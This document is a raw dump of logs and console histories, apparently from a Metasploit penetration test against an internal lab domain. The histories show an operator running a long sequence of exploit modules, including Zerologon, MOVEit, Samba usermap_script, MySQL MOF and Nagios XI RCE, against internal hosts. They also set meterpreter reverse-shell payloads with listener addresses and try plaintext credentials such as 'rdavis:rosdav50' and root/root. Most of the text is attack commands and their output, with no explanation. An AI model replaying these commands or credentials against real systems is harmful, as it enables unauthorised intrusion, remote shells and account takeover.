_raw: D, [2025-11-01T19:59:29.767083 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 802523029, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T19:59:29.763853 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T19:59:29.716290 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T19:59:29.716253 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T19:59:29.713833 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 2673530298, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T19:59:29.710714 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T19:59:29.662260 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T19:59:29.662229 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T19:59:29.660001 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 1439048991, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T19:59:29.656583 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T19:59:29.596342 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T19:59:29.596274 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T19:59:29.587869 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 1244120081, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T19:59:29.583965 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T19:59:29.520812 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T19:59:29.520777 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T19:59:29.518831 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 228444221, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T19:59:29.515619 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T19:59:29.463342 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T19:59:29.463292 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T19:59:29.461021 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 1935066354, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T19:59:29.457633 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T19:59:29.403078 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T19:59:29.403044 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T19:59:29.400877 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 2328367736, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T19:59:29.397530 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T19:59:29.334635 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T19:59:29.334595 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T19:59:29.332001 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 3671516195, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T19:59:29.324465 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: [11/01/2025 19:58:57] [e(0)] core: Exploit failed (windows/smb/smb_delivery): Rex::BindFailed The address is already in use or unavailable: (10.0.254.202:445). - Rex::BindFailed The address is already in use or unavailable: (10.0.254.202:445).


_raw: [11/01/2025 19:58:51] [e(0)] core: Exploit failed (windows/smb/smb_delivery): Rex::BindFailed The address is already in use or unavailable: (10.0.254.202:445). - Rex::BindFailed The address is already in use or unavailable: (10.0.254.202:445).


_raw:
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 10.0.1.99
run
set RHOSTS 10.0.1.15
run
exit


_raw:
use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 10.0.1.6
run
grep samba search username map script
use exploit/multi/samba/usermap_script
show options
set RHOSTS 10.0.1.6
run
search kpasswd5
search kpasswd
search 464
search kerberos
use exploit/linux/http/hadoop_unauth_exec
show options
set RHOSTS 10.0.1.6
run
use auxiliary/scanner/kerberos/kerberos_enum_users
use auxiliary/scanner/kerberos
use auxiliary/scanner/kerberos/kerberos_login
show options
set RHOSTS 10.0.1.6
run
search Microsoft Windows RPC over HTTP 1.0
search exploit/windows/smb/smb_rras_erraticgopher
use exploit/windows/smb/smb_rras_erraticgopher
show options
set RHOSTS 10.0.1.6
run
set LHOSTS 0.0.0.0
run
set LHOST 0.0.0.0
run
search Microsoft Windows Active Directory LDAP (Domain: allports.local0., Site: Default-First-Site-Name)
search Microsoft Windows Active Directory LDA
search windows remote
search Microsoft Windows Active Directory LDAP
use auxiliary/admin/ldap/change_password
show options
set RHOSTS 10.0.1.6
run
set NEW_PASSWORD true
set RHOSTS 10.0.1.6
run
set TARGET_USER true
run
show options
run
set sAMAccountName true
run
set USERNAME sAMAccountName
run
exiy
exit
use exploit/windows/http/advantech_iview_networkservlet_cmd_inject
show options
set RHOSTS 10.0.1.15
run
set LHOST 0.0.0.0
run
whoami
use exploit/windows/http/cayin_xpost_sql_rce
show options
set RHOSTS 10.0.1.15
run
set LHOST 0.0.0.0
run
use exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve
show options
set RHOSTS 10.0.1.15
run
use exploit/linux/http/librenms_collectd_cmd_inject
show options
set RHOSTS 10.0.1.15
run
set LHOST 0.0.0.0
run
use exploit/windows/http/moveit_cve_2023_34362
set RHOSTS 10.0.1.15
run
set LHOST 0.0.0.0
run
set ForceExploit true
run
use exploit/multi/http/manage_engine_dc_pmp_sqli
set RHOSTS 10.0.1.15
run
set RHOSTS 10.0.1.15
run
use exploit/windows/mysql/mysql_start_up
set RHOSTS 10.0.1.15
run
set USERNAME root
set PASSWORD root
run
set AllowNoCleanup true
run
set USERNAME KNOWN USERNAMES:
rdavis:rosdav50
set USERNAME rdavis
set PASSWORD rosdav50
run
exploit/windows/mysql/mysql_mof
y
set RHOSTS 10.0.1.15
run
set USERNAME rdavis
set PASSWORD rosdav50
run
set USERNAME pentester
set PASSWORD Control-Daemon-Snapshot-Directory-256
run
set USERNAME admin
set PASSWORD admin
run
use exploit/linux/http/pandora_fms_events_exec
set RHOSTS 10.0.1.15
run
set LHOST 0.0.0.0
run
set ForceExploit true
run
use exploit/linux/http/pandora_fms_auth_rce_cve_2024_12971
set RHOSTS 10.0.1.15
run
set LHOST 0.0.0.0
run
set ForceExploit true
run
search mysql 5.7.44
search mysql 5.7
use exploit/windows/http/advantech_iview_networkservlet_cmd_inject
set RHOSTS 10.0.1.15
run
use auxiliary/scanner/mysql/mysql_writable_dirs
set RHOSTS 10.0.1.15
run
set USERNAME mysql_native_password
set PASSWORD mysql_native_password
run
search jetty
use exploit/windows/http/oracle_event_processing_upload
set RHOSTS 10.0.1.15
run
search apache 2.4
use exploit/multi/http/apache_normalize_path_rce
search php 5.6.4
search php 5.6
use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
set RHOSTS 10.0.1.15
run
set PASSWORD Control-Daemon-Snapshot-Directory-256
run
set LHOST 0.0.0.0
run
set ForceExploit true
run
search php
search php 5.4
use exploit/multi/http/vtiger_php_exec
set RHOSTS 10.0.1.15
run
exit


_raw: [11/01/2025 19:44:45] [e(0)] core: Exploit failed (multi/http/vtiger_php_exec): NoMethodError undefined method `get_cookies' for nil - NoMethodError undefined method `get_cookies' for nil


_raw: [11/01/2025 19:44:45] [i(0)] core: php/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder php/hex (size is 2244)


_raw: [11/01/2025 19:41:21] [i(0)] core: linux/x64/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x64/xor_dynamic (size is 177)


_raw: [11/01/2025 19:41:05] [i(0)] core: linux/x64/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x64/xor_dynamic (size is 177)


_raw: [11/01/2025 19:36:26] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 19:33:19] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/01/2025 19:33:05] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 19:19:16] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/01/2025 19:19:03] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 19:16:44] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 19:16:07] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
db_nmap -sV -p- 10.0.1.21
exit
load kiwi
search netbios-ssn
search "netbios-ssn"
search netbios
use 2
show options
set RHOSTS 10.0.1.21
run
exit
hosts
exit
getuid
sysinfo
exir
exit
use auxiliary/scanner/smb/smb_version
show options
info -d
run
set RHOSTS ipaddr
run
set RHOSTS 10.0.1.21
run
nmap -sV -p 445 --script "smb2-security-mode,smb-enum-shares,smb-vuln-ms17-010,smb-vuln-cve2020-0796" <target>
exit
search Microsoft HTTPAPI httpd 2.0
search http.sys
search httpapi
search cve:CVE-2021-31166
search http.sys
use 0
info
show options
set RHOSTS 10.0.1.21
run
back
use 1
run
set RHOSTS 10.0.1.21
run
back
use 2
run
set RHOSTS 10.0.1.21
run
back
exit
search httpapi
search "Microsoft HTTPAPI"
search httpapi httpd
search type:exploit platform:windows http
use 2883
show options
set RHOSTS 10.0.1.21
rnu
run
set LHOST 10.0.254.203
run
back
clear
exit
search msrpc
use 0
run
set RHOSTS 10.0.1.21
run
back
search netbios-ssn
search netbios
use 3
run
back
use 2
run
set RHOSTS 10.0.1.21
run
back
search msrpc
use 0
run
set HNAME DeckHand-02
run
back
search msrpc
search netbios
use 3
run
run 4
use 4
run
back
search netbios
use 4
run
jons
jobs
kil1
kill 1
jobs
kil 3
kill 3
kill 2
kill 3
jobs
kill 0
clear
back
search microsoft-ds
search "microsoft-ds"
search port:135
use 2
run
set RHOSTS 10.0.1.21
run
set LHOST 10.0.254.203
run
use 0
run
set RHOSTS 10.0.1.21
run
back
search port:135
use 1
run
set RHOSTS 10.0.1.21
run
use 8
run
set RHOSTS 10.0.1.21
run
use 3
run
set RHOSTS 10.0.1.21
run
use 7
set RHOSTS 10.0.1.21
run
back
clear
search port:3389
use 16
run
set RHOSTS 10.0.1.21
run
set LHOST 10.0.254.203
run
use 0
use 0 show actions
use 3
run
set RHOSTS 10.0.1.21
run
back
search port 5985
use 0
run
back
search port 5986
search port:5985
use 7
run
set RHOSTS 10.0.1.21
run
back
search port:5986
search port:470001
search httpapi
seach hhtpd
search hhtpd
search msrpc
use 0
run
cd ..
back
exit
search ssdp
search UPnP
use 14
run
back
search ssn
clear
search ssn
use 95
run
set RHOSTS 10.0.1.21
run
back
search RPC
clear
search RPC
use 374
run
set RHOSTS 10.0.1.21
run
set LHOST 10.0.254.203
run
use 0
run
set RHOSTS 10.0.1.21
run
use 118
run
set RHOSTS 10.0.1.21
eun
run
use 14
run
set RHOSTS 10.0.1.21
run
use 201
run
set RHOSTS 10.0.1.21
run
show options
use 207
run
set RHOSTS 10.0.1.21
run
back
search port:5986/tcp
search port:5986
exit


_raw: [11/01/2025 19:08:41] [e(0)] core: Exploit failed (multi/misc/msf_rpc_console): Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.21:55552). - Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.21:55552).


_raw: [11/01/2025 19:08:41] [i(0)] core: generic/shell_reverse_tcp: payload contains no badchars, skipping automatic encoding


_raw: [11/01/2025 19:08:29] [e(0)] core: Exploit failed (multi/misc/msf_rpc_console): Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.21:55552). - Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.21:55552).


_raw: [11/01/2025 19:08:29] [i(0)] core: generic/shell_reverse_tcp: payload contains no badchars, skipping automatic encoding


_raw: [11/01/2025 19:08:22] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 19:08:02] [e(0)] core: Exploit failed (windows/smb/ms10_061_spoolss): Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer - Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer


_raw: [11/01/2025 19:08:02] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 19:07:56] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 19:07:40] [i(0)] core: windows/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 381)


_raw: [11/01/2025 19:07:28] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 19:07:08] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 19:07:08] [i(0)] core: windows/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/xor_dynamic (size is 354)


_raw: [11/01/2025 19:06:54] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 19:06:17] [i(0)] core: generic/shell_reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 231)


_raw: [11/01/2025 19:06:06] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 19:05:13] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 19:00:32] [e(0)] core: Exploit failed (windows/scada/winlog_runtime_2): Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.21:46824). - Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.21:46824).


_raw: [11/01/2025 19:00:32] [i(0)] core: windows/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 402)


_raw: [11/01/2025 19:00:18] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 18:57:22] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 18:57:19] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 18:52:46] [i(0)] core: php/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder php/base64 (size is 1503)


_raw: [11/01/2025 18:52:31] [i(0)] core: php/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder php/base64 (size is 1503)


_raw: [11/01/2025 18:51:43] [e(0)] core: Exploit failed (linux/http/pandora_fms_events_exec): NoMethodError undefined method `code' for nil - NoMethodError undefined method `code' for nil


_raw:
search zerologon
use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
show options
set NBNAME APT-DC-01.allports.local
set RHOSTS 10.0.1.6
run
show options
search nopac
search no-pac
search pac
clear
exi
exit


_raw: [11/01/2025 18:49:56] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
-h
--h
help
set RHOST 10.0.1.15
show exploitsms
show options
search
search apache 2.4.25
exit


_raw: [11/01/2025 18:48:39] [e(0)] core: Module CVE-2016-2183 not found, and no loading errors found. If you're using a custom module refer to our wiki: https://docs.metasploit.com/docs/using-metasploit/intermediate/running-private-modules.html


_raw: [11/01/2025 18:45:44] [e(0)] core: Exploit failed (windows/mysql/mysql_start_up) - Msf::ValidationError Cannot cleanup files created during exploit if payload handler is disabled. To run anyway, set AllowNoCleanup to true


_raw: [11/01/2025 18:45:13] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/01/2025 18:45:01] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: I, [2025-11-01T18:44:52.663902 #975440]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T18:44:52.663844 #975440] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T18:44:52.660782 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 1791711450, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T18:44:52.657014 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T18:44:52.583298 #975440]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T18:44:52.583254 #975440] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T18:44:52.580966 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 2786859380, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T18:44:52.576785 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T18:44:52.507132 #975440]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T18:44:52.468643 #975440] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T18:44:52.465589 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 24932655, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T18:44:52.412390 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: E, [2025-11-01T18:44:52.202266 #975440] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)


_raw: D, [2025-11-01T18:44:52.202131 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: D, [2025-11-01T18:44:52.188909 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:52.188773 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 4268405452, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:52.177387 #975440] DEBUG -- : Received TREE_CONNECT request for share: PvnC


_raw: D, [2025-11-01T18:44:52.175951 #975440] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 4268405452, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:52.163986 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 4268405452, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T18:44:52.151110 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: E, [2025-11-01T18:44:52.084754 #975440] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)


_raw: D, [2025-11-01T18:44:52.084674 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: D, [2025-11-01T18:44:52.081747 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: E, [2025-11-01T18:44:52.025982 #975440] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)


_raw: D, [2025-11-01T18:44:52.025904 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: D, [2025-11-01T18:44:52.022991 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: E, [2025-11-01T18:44:51.957323 #975440] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)


_raw: D, [2025-11-01T18:44:51.957235 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: D, [2025-11-01T18:44:51.953980 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: E, [2025-11-01T18:44:51.903919 #975440] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)


_raw: D, [2025-11-01T18:44:51.903717 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: D, [2025-11-01T18:44:51.896245 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.896154 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.892717 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.890014 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.886887 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.886805 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.883549 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.883493 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.880932 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.880869 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.877943 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.877870 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.874695 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.874593 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.871286 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.871132 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.860917 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.860827 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.857821 #975440] DEBUG -- : Received CLOSE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.857692 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.843912 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.843711 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.836002 #975440] DEBUG -- : Received CLOSE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.835943 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.833838 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.831531 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.828996 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.826993 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.824514 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.824456 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.821615 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.821537 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.818846 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.818785 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.815835 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.815751 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.812775 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.812715 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.809895 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.809806 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.801186 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.801088 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.793710 #975440] DEBUG -- : Received CLOSE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.793651 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.791705 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.789818 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.787948 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.786165 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.784011 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.783954 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.781429 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.781373 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.779212 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.779136 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.776935 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.776877 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.774670 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.774616 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.772306 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.772243 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.766033 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.765973 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.763325 #975440] DEBUG -- : Received CLOSE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.763260 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.759384 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


